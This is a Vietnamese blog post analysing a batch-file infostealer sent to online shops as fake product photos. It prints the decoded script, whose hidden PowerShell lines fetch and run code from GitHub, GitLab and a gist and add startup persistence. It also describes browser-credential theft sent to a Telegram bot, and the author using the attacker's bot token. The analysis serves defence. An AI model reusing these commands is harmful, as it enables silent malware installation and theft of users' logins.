Hôm qua mình có đọc được một bài viết về việc một người dùng nhận được mã
độc thông qua tin nhắn, bây giờ hãy cùng mình phân tích mã độc này
nhé.
Table of Contents
Tóm tắt vụ việc
Vào ngày 18/7/2023, một người dùng ẩn danh có đăng tải lên mạng xã hội về sự
việc bị một đối tượng lạ nhắn tin với nội dung “Bên em cần nhập sỉ mẫu hàng
này” và đính kèm một tập tin .rar và yêu cầu shop mở ra xem.
Người dùng này đã giải nén và mở file lên thì thấy máy tính xuất hiện một
tab terminal và thực thi các câu lệnh lạ. Người này đã nghi ngờ là virus và
đăng lên facebook để nhờ hỗ trợ.
Đây là mẫu file mà người dùng nhận được (link do người đăng bài viết cung
cấp):
Link backup (pass infected):
https://github.com/mt-cybersecurity/Samples_malware
Quá trình phân tích
Các công cụ và môi trường
- Windows 10 (VMWare)
- IDA Pro
- Virustotal
- Any.run
- VS Code
Các bước tiến hành
Đầu tiên mình sẽ tải file mẫu
Photo-images-Mau-San-Pham_2023-07-21-58.rar về máy ảo
Windows 10. Ở môi trường này mình bật windows defender để đảm bảo rằng môi
trường giống như máy tính của người sử dụng bình thường. Quá trình tải
file về và giải nén đều không bị windows defender phát hiện là mã độc.
|
|
| Nội dung bên trong file .rar sau khi giải nén |
Trước đây mình cũng từng thấy vài trường hợp kẻ xấu gửi mã độc thông qua file nén (file .rar) và đặt mật khẩu giải nén để tránh bị các chương trình Anti Virus phát hiện. Lần này kẻ tấn công chỉ nén lại chứ không hề đặt mật khẩu, cả quá trình giải nén và thực thi file này đều không bị Windows Defender phát hiện ==> Mã độc này khá tinh vi về mặt kĩ thuật.
Vậy bằng cách nào mà mã độc này có thể trốn tránh được Windows Defender ???
Để giải đáp cho câu hỏi này, mình sẽ kết hợp cả phân tích tĩnh và phân
tích động để xem nó hoạt động như thế nào. Mình sử dụng 2 trang web khá
nổi tiếng trong việc phân tích mã độc là
Virus Total và
Any.run để kiểm tra file này.
Virus Total có 2/59 Security vendors’ analysis phát hiện đây là
HEUR:Trojan.BAT.Setter.gen
Các bạn có thể xem kết quả tại đây:
Chỉ có 2/59 security vendors đánh giá đây là mã độc … một con số khá nhỏ.
Riêng phần any.run mình sử dụng bản free và thực thi trên hệ điều
hành Win7 32bit thì máy tính xem file này như một tệp văn bản nên không
thực thi.
Do điều kiện chưa cho phép nên mình chưa có cơ hội thử chạy mã độc này
trên nhiều hệ điều hành khác nhau. Tuy nhiên, mình nhận định sơ bộ mã độc
này được thiết kế cho các máy tính có hệ điều hành phổ biến hiện nay
(chẳng hạn như Windows 10, …).
Sau khi đã sử dụng 2 công cụ này để phân tích động, mình tiến hành phân
tích tĩnh trên máy ảo Windows 10.
Phân tích tĩnh trên máy ảo
Sử dụng VSCode
Việc đầu tiên mình làm đó là mở file này bằng VSCode để xem bên trong
nó chứa cái gì (có thể sử dụng notepad cũng được nhưng mình dùng VSCode
cho giống hacker).
|
|
| Nội dung file Photo-images-Mau-San-Pham_2023-07-21-58.bat |
Mới đầu mình thấy mấy kí tự này giống tiếng Trung hay tiếng Nhật gì đấy
nên mình nghĩ chắc là bị mã hóa hay gì rồi. Để làm rõ hơn nó là gì thì
mình chuyển sang bước kế tiếp, sử dụng IDA để kiểm tra file này xem thế
nào.
Sử dụng IDA
Đây rồi ….
|
|
| Mã độc khi xem bằng IDA Pro |
Để dễ nhìn hơn thì mình sử dụng CyberChef, một công cụ khá nổi tiếng đối với anh em chơi crypto.
|
|
| Đoạn mã sau khi decode từ Hex |
Sau một hồi thì đống bùng nhùng này cũng dễ nhìn hơn, đoạn mã mình thu được như sau:
@echo off
set eQ=y
set MA=0
set RA=D
set JA=$
set dA=t
set VQ=U
set Yg=b
set bQ=m
set MQ=1
set KA=(
set bA=l
set LQ=-
set Tg=N
set cQ=q
set eg=z
set Lw=/
set aA=h
set XA=\
set dg=v
set Jw='
set OA=8
set Rg=F
setlocal EnableDelayedExpansion
set cg=r
set aw=k
set Ww=[
set XQ=
]
set QQ=A
set bw=o
set cw=s
set Ow=;
set ZA=d
set UA=P
set Uw=S
set Zg=f
set aQ=i
set Mw=3
set IA=
set Lg=.
set RQ=E
set bg=n
set Ig="
set Tw=O
set Ug=R
set Mg=2
set dw=w
set eA=x
set YQ=a
set Og=:
set cA=p
set Nw=7
set dQ=u
set KQ=
)
set SQ=I
set Zw=g
set Vw=W
set TQ=M
set Yw=c
set Qw=C
set ZQ=e
cls
start chrome https://www.aliexpress.us/
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gitlab.com/alibaba2023/alibaba/-/raw/632ff709de86170331f3525133670a873637a990/Document.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gist.githubusercontent.com/xjnhzaj12b1/fd8ac3eedbbb8b540a99bc30da23f9e5/raw/7a86a090d85645354046be055f91874295dbe37f/cty16 -OutFile C:\\Users\\Public\\Document\\project.py;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;
start chrome https://www.aliexpress.us/
Sau khi đã có được đoạn code của kẻ tấn công, bắt đầu quan sát luồng chương
trình nhé …
Luồng chương trình:
|
|
| Phần code đầu tiên |
Ở phần code đầu tiên có vẻ như kẻ tấn công sử dụng obfuscate nên mình không biết những biến được gán là gì … cho nên mình nhờ ChatGPT deobfuscate dùm đoạn này.
@echo off
rem Variable assignments
set enableQuietMode=yes
set mainVariable=0
set randomVariable=D
set joinVariable=$
set defaultVariable=t
set versionQuery=U
set modeVariable=b
set batchQuery=m
set maxQuantity=1
set keyArray=(
set letterA=l
set lineQuantity=-
set toggleVariable=N
set continueQuery=q
set exitVariable=z
set slashVariable=/
set actionVariable=h
set escapeCharacter=\
set debugVariable=v
set quoteCharacter='
set optionArgument=8
set repeatVariable=F
setlocal EnableDelayedExpansion
set counterVariable=r
set auxiliaryVariable=k
set openBracket=[
set closeBracket=]
set sectionHeader=A
set basicVariable=o
set conditionalVariable=s
set endLine=;
set numberVariable=d
set upperCaseVariable=P
set specialVariable=S
set lowercaseVariable=f
set inputVariable=i
set modeVariable=
set dotCharacter=.
set retryVariable=E
set blankVariable=n
set quoteCharacter="
set terminationVariable=O
set breakVariable=R
set digitVariable=2
set directoryVariable=w
set executeVariable=x
set characterVariable=a
set colonCharacter=:
set captureVariable=p
set digitVariable=7
set userQuery=u
set nullVariable=
)
rem Additional variable assignments
set searchQuery=I
set zoneVariable=g
set viewVariable=W
set typeQuery=M
set extensionVariable=c
set constantVariable=C
set letterQuery=e
cls
Có vẻ dễ nhìn hơn rồi nhỉ, ngoài ra mình còn nhờ ChatGPT giải thích đoạn
code này. Mình tóm tắt lại như sau:
- @echo off: Dòng lệnh này tắt việc hiển thị lệnh trong cửa sổ console khi script đang chạy. Nghĩa là các lệnh trong script sẽ không được hiển thị trước khi được thực thi.
- Các dòng từ set enableQuietMode=yes đến set maxQuantity=1 sẽ đặt giá trị cho các biến được sử dụng trong script. Mỗi biến đều được gán một giá trị cụ thể (anh em chịu khó kéo lên xem đoạn code bên trên nhé).
- set keyArray=(…) mảng này định nghĩa mỗi phần tử của mảng này là một biến có tên dài hơn, được gán một giá trị cụ thể. Mảng này không được sử dụng trong đoạn mã sau này, vì vậy việc định nghĩa này có thể được xem là không có ý nghĩa –> chắc là troll mấy ông đi reverse cái code này =))).
- Mấy dòng còn lại bắt đầu bằng set cũng dùng để gán biến.
- Cuối cùng là cls sẽ dùng để xóa màn hình cửa sổ console (đoạn này sẽ dùng để che dấu vết –> thực thi đoạn gán biến xong xóa màn hình để người dùng không kịp nhìn thấy nội dung trong console)
|
|
|
Chức năng của lệnh cls |
|
|
|
Phần chính của mã độc Đoạn code mọi người xem ở đây:
|
start chrome https://www.aliexpress.us/ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat"; C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gitlab.com/alibaba2023/alibaba/-/raw/632ff709de86170331f3525133670a873637a990/Document.zip -OutFile C:\\Users\\Public\\Document.zip; C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document; C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gist.githubusercontent.com/xjnhzaj12b1/fd8ac3eedbbb8b540a99bc30da23f9e5/raw/7a86a090d85645354046be055f91874295dbe37f/cty16 -OutFile C:\\Users\\Public\\Document\\project.py; C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py; start chrome https://www.aliexpress.us/
Để dễ hiểu hơn thì các bạn hãy quan sát các bước dưới đây:
Bước 1: mã độc sẽ mở một tab chrome truy cập vào trang web
https://www.aliexpress.us/ –> mình nghĩ mục đích của kẻ tấn công
là đánh lạc hướng người dùng (người dùng sẽ không để ý đến tab console bên
trên nữa)
Bước 2: Tải một file từ github về, đường dẫn của file này là
https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start
Mình đã truy cập vào đường dẫn này và nhận được kết quả:
|
|
| Đoạn code start |
Đây chính là một lệnh trong Windows Powershell, lệnh này sẽ tạo một tiến trình ẩn với nội dung là
C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;
Tiến trình này sẽ khởi động cùng Windows (mỗi lần nạn nhân bật máy lên là
tiến trình này sẽ khởi động, các bạn sẽ thường thấy phần này trong phần
startup trên máy Windows). Tiến trình mà kẻ tấn công mong muốn chính là thực
thi file project.py được lưu tại
C:\\Users\\Public\\Document mỗi khi người dùng khởi động máy
tính.
Hành vi của mã độc này theo như mình tìm hiểu thì đây là một loại Malware Persistence.
Vậy người dùng lấy file project.py ở đâu ra?Lỡ như máy của nạn nhân không có python thì thực thi cái file này kiểu gì?
Để trả lời cho 2 câu hỏi này, hãy đi vào bước kế tiếp.
Bước 3: Thiết lập một kết nối tải xuống từ gitlab một file có tên là
Document.zip, mình không biết tại sao kẻ tấn công lại lựa chọn gitlab
để lưu trữ file này thay vì sử dụng github như những file code trước đó. Chắc
là đẩy file zip lên github oằn hơn gitlab (cái này mình đoán thôi).
|
|
| Repository chứa Document.zip |
Bước 4: Sau khi tải về máy tính nạn nhân, file Document.zip được lưu tại folder C:\Users\Public\Document. Mình có tải file này về để giải nén, kết quả như hình dưới đây (folder trong hình là mình tải thủ công chứ không phải con malware tải về):
|
|
| Kết quả VirusTotal |
Để xác định xem file python.exe này có phải mã độc hay không, mình đã
sử dụng VirusTotal để kiểm tra.
Kết quả cho thấy python.exe không phải file độc hại, ngoài ra mình biết được đây là python phiên
bản 3.1
Bước 5: Mã độc tiếp tục tải về một file từ
gist.githubusercontent.com và lưu thành C:\Users\Public\Document\project.py
Thời điểm mình viết bài này file
đã bị xóa (hoặc di chuyển đi chỗ nào đó). Tuy nhiên trước đó mình có xem
xét repository github của các đối tượng này thì đoạn mã ở đường dẫn này
lại trùng khớp với các file có tên là scan*
|
|
| Các file tương tự |
Điểm khác biệt của các file này là địa chỉ telegram mà dữ liệu sẽ được gửi
đến (sẽ được đề cập dưới đây). Bây giờ mình sẽ đi vào phân tích 1 trong các
file scan* này (mình sẽ lựa ra file gần giống mã độc gốc nhất
theo như trí nhớ của mình cảm nhận).
Khúc này phân tích code hơi căng, anh em giải lao xíu rồi đọc tiếp nhé =)))
|
|
| Import thư viện |
Về phần import các thư viện, hacker này xài khá nhiều thư viện liên quan đến
mã hóa. Ngoài ra, sqlite3 cũng được đề cập trong đoạn code này → có vẻ
dùng sqlite để lưu trữ tạm thời trên máy nạn nhân.
Tiếp đến là phần khai báo biến, các biến được đề cập đến địa chỉ IP, thành
phố, mã code, … của nạn nhân. Biến url là kết quả của một request đến
endpoint
|
|
| Kết quả giá trị biến url |
Mình đã sử dụng python để kiểm tra giá trị biến url, kết quả cho thấy url = https://ipinfo.io. Hacker đã lợi dụng API của ipinfo.io để lấy thông tin của nạn nhân.
Tiếp đến lần lượt là các biến
newtime, name_f, crypt. Về biến newtime và
name_f thì mình có thể
suy ra được cấu trúc của tên file mà hacker đặt.
Phần mà mình tò mò nhất, cũng là mấu chốt để mình tiếp tục chuyên mục
Hack the hacker (ở bên dưới) chính là biến crypt.
|
|
| Kết quả decode base64 |
Ồ …. Đây là một API của bot telegram, có vẻ như đây chính là phương tiện mà hacker dùng để nhận thông tin đánh cắp được từ nạn nhân.
Telegram là một ứng dụng nhắn tin giống như messenger, discord, slack. Đây là một trong những ứng dụng được đánh giá là có tính bảo mật cao, chính vì lí do này mà các hacker thường lợi dụng để làm kênh trao đổi và tiếp nhận dữ liệu từ máy nạn nhân để khó bị phát hiện.
Hàm đầu tiên ở trong đoạn code này có nhiệm vụ kiểm tra xem tiến trình
chrome.exe trên máy nạn nhân có hoạt động hay không, nếu có → kill tiến
trình này.
|
|
| Hàm kiểm tra tiến trình chrome |
Hàm kế tiếp là tìm kiếm Profile trên máy tính nạn nhân, hàm này sẽ phục vụ cho việc tìm kiếm các file lưu trên máy tính (cụ thể là để truy cập vào folder của trình duyệt trên máy).
|
|
| Hàm tìm kiếm profile |
Các hàm kế tiếp được sử dụng để truy cập vào folder của trình duyệt với mục đích là trích xuất các file dữ liệu nhạy cảm của người dùng như: thông tin đăng nhập trên trình duyệt, cookie, trạng thái.
|
|
| Hàm truy xuất thông tin trình duyệt |
Mình ghi nhận được hàm thực hiện hành vi này, gồm các hàm: gx0c, gx0e, gx0b, gx0o, gx0cc, gx0ch, gx0f. Một trong những trình duyệt mà hacker nhắm tới gồm: chrome, edge, brave, opera, firefox, chromium và một trình duyệt cực kì đặc biệt → trình duyệt Cốc Cốc.
|
|
| Hàm khai thác Cốc Cốc |
⟹ Khả năng cao đây là mã độc nhắm thẳng vào người dùng Việt Nam.
Sau khi đã trích xuất những dữ liệu nhạy cảm từ phía nạn nhân, hacker tiến
hành mã hóa các dữ liệu này và lưu vào sqlite database.
|
|
| Hàm mã hóa dữ liệu |
Phần mã hóa và lưu trữ dữ liệu sau khi trích xuất mình xin phép không đề
cập, các bạn có thể đọc code tại
(đây là mã độc thật của kẻ tấn công, cẩn thận khi tải về nhé).
Giai đoạn cuối cùng là nén dữ liệu và gửi đến telegram của kẻ tấn công.
|
|
| Đóng gói dữ liệu và di chuyển |
Trước khi vận chuyển các file này, dữ liệu được đóng gói ở định dạng
.zip. Điều này sẽ giúp cho dữ liệu nhẹ hơn, tiện lợi cho quá trình vận chuyển
và tránh bị phát hiện.
Từ các dữ kiện từ bên trên, mình tóm tắt quá trình mã độc thực thi như sau:
|
|
| Tóm tắt quá trình mã độc thực thi |
Truy xuất nguồn gốc mã độc
Dựa trên các dữ kiện từ github, gitlab và gist thì mình nhận định sơ bộ như
sau:
- Cách đặt tên tài khoản github và một số code ở các repository đã nói lên đây là một người Việt Nam
- Mã độc này được thiết kế với mục tiêu là các shop bán hàng (hoặc một shop cụ thể nào đó), shop này có liên quan đến hàng nhập khẩu từ Alibaba → mã độc mở trang web https://www.aliexpress.us/ đầu tiên để người dùng không nghi ngờ. Tên repository tại github mà gitlab đều đề cập đến cụm từ alibaba.
- Mục tiêu của mã độc là nhắm đến tài khoản facebook của nạn nhân, trong code của kẻ tấn công có chỉ đích danh đến địa chỉ facebook.com.
Mặc dù link gist của mã độc đã bị gỡ xuống nhưng trước đó mình đã kịp thu
thập được thông tin về API key mà telegram bot của đối tượng này dùng để vận
chuyển dữ liệu.
Bây giờ mình sẽ "vào hang cọp" để xem đối tượng này đã hack được ai và lấy
được dữ liệu gì?
|
|
| Dữ liệu được gửi về telegram của hacker |
/ Mình đã che lại các thông tin nhạy cảm
Có vẻ như mục tiêu của hacker chỉ là một đơn vị cụ thể nào đó, khi con mồi
đã mắc bẫy thì mã độc ở trên gist đã được gỡ xuống. Theo như quá trình tìm
hiểu trên internet thì mình chưa thấy dấu hiệu phát tán mã độc này tràn lan.
Để bài viết kĩ thuật này không đi quá xa thì chuyên mục Hack the hacker xin
tạm dừng tại đây.
Kết luận
Qua cách thức tấn công về mặt kĩ thuật thì đây là một dạng tấn công rất tinh
vi, kẻ tấn công đã lợi dụng các nhà cung cấp đáng tin cậy như github,
gitlab, gist, telegram và mã độc được chạy dưới dạng python script nên
windows defender khó phát hiện ra. Kĩ thuật này cũng được đề cập tại
WarCon22 bởi ông
mgeeky.
|
|
| Kĩ thuật trốn tránh phòng thủ |
Ở bài thuyết trình tại WarCon22, ông mgeeky ứng dụng kĩ thuật này cho việc
kết nối đến
Command & Control. Xem thêm về bài thuyết trình của mgeeky tại đây:
Thông qua source code mình cảm nhận được hacker không phải tay ngang mà là
một lập trình viên khá am hiểu về trình duyệt.
Cuối cùng là hành vi tấn công chính người dân Việt Nam thì đáng lên án và
không thể chấp nhận được.
Tham khảo
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands https://attack.mitre.org/techniques/T1027/010/ https://mgeeky.tech/uploads/WarCon22%20-%20Modern%20Initial%20Access%20and%20Evasion%20Tactics.pdf https://en.wikipedia.org/wiki/Obfuscation_(software) https://sec.vnpt.vn/2022/06/windows-forensic-malware-persistence
Xem thêm bài viết về An toàn thông tin
tại đây.
Nguồn:
vmtien.id.vn